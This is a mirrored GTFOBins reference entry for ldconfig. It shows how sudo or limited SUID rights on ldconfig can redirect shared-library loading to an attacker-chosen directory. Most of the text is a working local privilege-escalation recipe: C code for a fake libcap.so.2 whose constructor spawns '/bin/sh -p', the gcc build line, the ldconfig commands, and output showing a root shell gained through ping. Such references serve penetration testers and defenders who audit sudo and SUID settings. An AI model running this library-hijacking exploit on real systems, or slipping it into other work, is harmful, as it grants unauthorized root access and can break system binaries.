mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
55 lines
1.5 KiB
Markdown
55 lines
1.5 KiB
Markdown
---
|
|
description: |
|
|
Follows a minimal example of how to use the described technique (details may change across different distributions).
|
|
|
|
Run the code associated with the technique.
|
|
|
|
Identify a target SUID executable, for example the `libcap` library of `ping`:
|
|
|
|
```
|
|
$ ldd /bin/ping | grep libcap
|
|
libcap.so.2 => /tmp/tmp.9qfoUyKaGu/libcap.so.2 (0x00007fc7e9797000)
|
|
```
|
|
|
|
Create a fake library that spawns a shell at bootstrap:
|
|
|
|
```
|
|
echo '#include <unistd.h>
|
|
|
|
__attribute__((constructor))
|
|
static void init() {
|
|
execl("/bin/sh", "/bin/sh", "-p", NULL);
|
|
}
|
|
' >"$TF/lib.c"
|
|
```
|
|
|
|
Compile it with:
|
|
|
|
```
|
|
gcc -fPIC -shared "$TF/lib.c" -o "$TF/libcap.so.2"
|
|
```
|
|
|
|
Run `ldconfig` again as described below then just run `ping` to obtain a root shell:
|
|
|
|
```
|
|
$ ping
|
|
# id
|
|
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
|
|
```
|
|
functions:
|
|
sudo:
|
|
- description: This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries.
|
|
code: |
|
|
TF=$(mktemp -d)
|
|
echo "$TF" > "$TF/conf"
|
|
# move malicious libraries in $TF
|
|
sudo ldconfig -f "$TF/conf"
|
|
limited-suid:
|
|
- description: This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries.
|
|
code: |
|
|
TF=$(mktemp -d)
|
|
echo "$TF" > "$TF/conf"
|
|
# move malicious libraries in $TF
|
|
./ldconfig -f "$TF/conf"
|
|
---
|